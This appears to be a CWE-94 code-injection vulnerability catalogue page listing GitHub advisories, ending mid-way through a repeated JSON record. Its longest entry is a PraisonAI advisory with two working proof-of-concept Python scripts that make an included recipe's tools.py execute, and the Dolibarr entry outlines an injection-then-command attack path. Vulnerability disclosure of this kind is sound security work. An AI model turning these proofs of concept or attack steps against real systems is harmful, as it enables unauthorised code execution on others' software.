CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-HXHG-8C3V-9288
Vulnerability from github – Published: 2026-09-16 00:31 – Updated: 2026-09-16 00:31Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM for JDK 17: 23.0.13.1; Oracle GraalVM for JDK 21: 23.1.12.1; Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM for JDK, Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM for JDK, Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-83408"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T22:17:03Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM product of Oracle Java SE (component: Compiler). The supported version that is affected is Oracle GraalVM for JDK 17: 23.0.13.1; Oracle GraalVM for JDK 21: 23.1.12.1; Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM for JDK, Oracle GraalVM. Successful attacks of this vulnerability can result in takeover of Oracle GraalVM for JDK, Oracle GraalVM. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-hxhg-8c3v-9288",
"modified": "2026-09-16T00:31:31Z",
"published": "2026-09-16T00:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83408"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspusep2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HXJ5-CCFQ-HVJX
Vulnerability from github – Published: 2022-05-01 18:12 – Updated: 2022-05-01 18:12Apache httpd 2.0.59 and 2.2.4, with the Prefork MPM module, allows local users to cause a denial of service via certain code sequences executed in a worker process that (1) stop request processing by killing all worker processes and preventing creation of replacements or (2) hang the system by forcing the master process to fork an arbitrarily large number of worker processes. NOTE: This might be an inherent design limitation of Apache with respect to worker processes in hosted environments.
{
"affected": [],
"aliases": [
"CVE-2007-3303"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-06-20T22:30:00Z",
"severity": "MODERATE"
},
"details": "Apache httpd 2.0.59 and 2.2.4, with the Prefork MPM module, allows local users to cause a denial of service via certain code sequences executed in a worker process that (1) stop request processing by killing all worker processes and preventing creation of replacements or (2) hang the system by forcing the master process to fork an arbitrarily large number of worker processes. NOTE: This might be an inherent design limitation of Apache with respect to worker processes in hosted environments.",
"id": "GHSA-hxj5-ccfq-hvjx",
"modified": "2022-05-01T18:12:23Z",
"published": "2022-05-01T18:12:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-3303"
},
{
"type": "WEB",
"url": "http://osvdb.org/37050"
},
{
"type": "WEB",
"url": "http://security.psnc.pl/files/apache_report.pdf"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2814"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/469899/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/471832/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/24215"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HXM6-CC9V-9F63
Vulnerability from github – Published: 2025-05-09 18:30 – Updated: 2025-05-10 03:30Arbitrary File Upload in user_payment_update.php in SourceCodester Client Database Management System 1.0 allows unauthenticated users to upload arbitrary files via the uploaded_file_cancelled field. Due to the absence of proper file extension checks, MIME type validation, and authentication, attackers can upload executable PHP files to a web-accessible directory (/files/). This allows them to execute arbitrary commands remotely by accessing the uploaded script, resulting in full Remote Code Execution (RCE) without authentication.
{
"affected": [],
"aliases": [
"CVE-2025-46191"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-09T17:15:51Z",
"severity": "CRITICAL"
},
"details": "Arbitrary File Upload in user_payment_update.php in SourceCodester Client Database Management System 1.0 allows unauthenticated users to upload arbitrary files via the uploaded_file_cancelled field. Due to the absence of proper file extension checks, MIME type validation, and authentication, attackers can upload executable PHP files to a web-accessible directory (/files/). This allows them to execute arbitrary commands remotely by accessing the uploaded script, resulting in full Remote Code Execution (RCE) without authentication.",
"id": "GHSA-hxm6-cc9v-9f63",
"modified": "2025-05-10T03:30:22Z",
"published": "2025-05-09T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46191"
},
{
"type": "WEB",
"url": "https://github.com/x6vrn/mitre/blob/main/CVE-2025-46191.md"
},
{
"type": "WEB",
"url": "https://portswigger.net/web-security/file-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HXMH-2XC4-C894
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-06-30 17:50Dolibarr ERP CRM 7.0.3 contains a remote code evaluation vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting PHP code through the db_name parameter. Attackers can send a POST request to install/step1.php with malicious PHP code in the db_name parameter, then execute commands via the check.php endpoint using the cmd GET parameter.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.3"
},
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-25357"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-30T17:50:52Z",
"nvd_published_at": "2026-05-23T19:16:56Z",
"severity": "CRITICAL"
},
"details": "Dolibarr ERP CRM 7.0.3 contains a remote code evaluation vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting PHP code through the db_name parameter. Attackers can send a POST request to install/step1.php with malicious PHP code in the db_name parameter, then execute commands via the check.php endpoint using the cmd GET parameter.",
"id": "GHSA-hxmh-2xc4-c894",
"modified": "2026-06-30T17:50:52Z",
"published": "2026-05-26T13:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25357"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/issues/9032"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/41709f07d0aef384723164877395ed081b44b810"
},
{
"type": "WEB",
"url": "https://dolibarr.org"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44964"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dolibarr-erp-crm-remote-code-evaluation-via-install-step1-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dolibarr ERP CRM contains a remote code evaluation vulnerability"
}
GHSA-HXMV-C4G6-5FQC
Vulnerability from github – Published: 2026-08-25 14:15 – Updated: 2026-08-25 14:15Summary
PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.
This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.
The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.
This is distinct from the previously published tool_resolver.py, api/call.py, templates/tool_override.py, and agents_generator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.
Affected Components
- Package:
praisonaiagents - File:
praisonaiagents/workflows/workflows.py - Sink:
Workflow._execute_include() - Current affected callsite:
tools_py = recipe_path / "tools.py"
if tools_py.exists():
spec = importlib.util.spec_from_file_location("recipe_tools", tools_py)
recipe_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(recipe_module)
The current head also contains a similar unguarded workflow-local tools.py import in _resolve_pydantic_class(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.
Security Boundary
PraisonAI documents secure defaults for implicit tools.py autoload:
PRAISONAI_ALLOW_TEMPLATE_TOOLScontrols implicit template/CWDtools.pyautoload and is disabled by default.PRAISONAI_ALLOW_LOCAL_TOOLScontrols automatic loading of localtools.pyfiles and requires the valuetrue.- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.
- Existing regression tests for
GHSA-xcmw-grxf-wjhjassert that template/CWDtools.pymust not execute by default.
Workflow._execute_include() does not check PRAISONAI_ALLOW_TEMPLATE_TOOLS, does not check PRAISONAI_ALLOW_LOCAL_TOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.
The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.
The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.
Impact
An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.
The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.
Reproduction
Run the attached local-only PoV:
python3 pov.py
Expected vulnerable output:
VULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
marker=...
marker_content=executed
The PoV:
- Unsets
PRAISONAI_ALLOW_LOCAL_TOOLSandPRAISONAI_ALLOW_TEMPLATE_TOOLS. - Creates a temporary
child_recipe/tools.pywith a marker-write payload. - Creates a minimal
child_recipe/workflow.yaml. - Runs
Workflow(steps=[include("child_recipe")]).run(...). - Confirms the marker file was written before any model-backed workflow step is needed.
Supplementary higher-level API check:
python3 pov_recipe_run.py
Expected vulnerable output:
VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
recipe_status=success
recipe_ok=True
marker=...
marker_content=executed
Validation
Tested vulnerable:
- Current head:
bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag:
v4.6.56(praisonai==4.6.56,praisonaiagents==1.6.56) - Older affected tag:
v3.9.26(praisonai==3.9.26,praisonaiagents==0.12.12)
Negative/control observations:
v3.9.24does not expose the sameincludehelper/API used by this PoV.- The hardened
praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)path does not executetools.pywhenPRAISONAI_ALLOW_TEMPLATE_TOOLSis unset. - Existing regression test
src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.pystates that implicit recipe/templatetools.pyautoload should be gated behindPRAISONAI_ALLOW_TEMPLATE_TOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover
include()imports, YAML include parsing, directWorkflow._execute_includepresence, and include steps inside loops. praisonai.recipe.run()also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.
Root Cause
The include implementation reintroduced a direct importlib.util.spec_from_file_location() plus spec.loader.exec_module() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.
Suggested Fix
Route included-recipe tool loading through the same security policy used by the template tool override system.
Conservative options:
- Do not implicitly load included recipe
tools.pyby default. - Only load it when
PRAISONAI_ALLOW_TEMPLATE_TOOLSis explicitly truthy. - Prefer explicit
tools_sources,override_files, or a caller-supplied registry for custom tools. - Add regression coverage for
Workflow(steps=[include("...")])proving included recipetools.pydoes not execute with the opt-in unset. - Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.
If local workflow includes are intended to use PRAISONAI_ALLOW_LOCAL_TOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw exec_module() directly.
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
old_cwd = Path.cwd()
try:
recipe = workdir / "child_recipe"
recipe.mkdir()
marker = workdir / MARKER_NAME
(recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
(recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("child_recipe")])
workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists():
print(
"VULNERABLE: included recipe tools.py executed with "
"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: included recipe tools.py did not execute")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())
Appendix B - pov_recipe_run.py
#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
old_cwd = Path.cwd()
try:
parent_recipe = workdir / "parent_recipe"
child_recipe = workdir / "child_recipe"
parent_recipe.mkdir()
child_recipe.mkdir()
marker = workdir / MARKER_NAME
(parent_recipe / "TEMPLATE.yaml").write_text(
"name: parent_recipe\n"
"version: 1.0.0\n"
"workflow: workflow.yaml\n",
encoding="utf-8",
)
(parent_recipe / "workflow.yaml").write_text(
"name: parent\n"
"steps:\n"
" - include: child_recipe\n",
encoding="utf-8",
)
(child_recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
(child_recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parent_recipe), input={}, options={"force": True})
if marker.exists():
print(
"VULNERABLE: praisonai.recipe.run() reached workflow include "
"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"recipe_status={result.status}")
print(f"recipe_ok={result.ok}")
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
print(f"recipe_status={result.status}")
print(f"recipe_error={result.error}")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.12"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "3.9.26"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55522"
],
"database_specific": {
"cwe_ids": [
"CWE-426",
"CWE-829",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:15:27Z",
"nvd_published_at": "2026-08-05T20:17:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\nPraisonAI\u0027s workflow include implementation implicitly imports and executes an included recipe\u0027s `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n recipe_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe\u0027s `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe\u0027s `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe\u0027s tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n for parent in Path(__file__).resolve().parents:\n candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n if candidate.exists():\n return candidate\n raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n old_cwd = Path.cwd()\n try:\n recipe = workdir / \"child_recipe\"\n recipe.mkdir()\n marker = workdir / MARKER_NAME\n\n (recipe / \"tools.py\").write_text(\n \"from pathlib import Path\\n\"\n f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n \"def benign_tool():\\n\"\n \" return \u0027ok\u0027\\n\",\n encoding=\"utf-8\",\n )\n (recipe / \"workflow.yaml\").write_text(\n \"name: child\\n\"\n \"steps: []\\n\",\n encoding=\"utf-8\",\n )\n\n os.chdir(workdir)\n\n from praisonaiagents.workflows.workflows import Workflow, include\n\n workflow = Workflow(steps=[include(\"child_recipe\")])\n workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n if marker.exists():\n print(\n \"VULNERABLE: included recipe tools.py executed with \"\n \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n )\n print(f\"marker={marker}\")\n print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n return 0\n\n print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n return 1\n finally:\n os.chdir(old_cwd)\n shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n for parent in Path(__file__).resolve().parents:\n candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n if candidate.exists():\n return candidate\n raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n old_cwd = Path.cwd()\n try:\n parent_recipe = workdir / \"parent_recipe\"\n child_recipe = workdir / \"child_recipe\"\n parent_recipe.mkdir()\n child_recipe.mkdir()\n marker = workdir / MARKER_NAME\n\n (parent_recipe / \"TEMPLATE.yaml\").write_text(\n \"name: parent_recipe\\n\"\n \"version: 1.0.0\\n\"\n \"workflow: workflow.yaml\\n\",\n encoding=\"utf-8\",\n )\n (parent_recipe / \"workflow.yaml\").write_text(\n \"name: parent\\n\"\n \"steps:\\n\"\n \" - include: 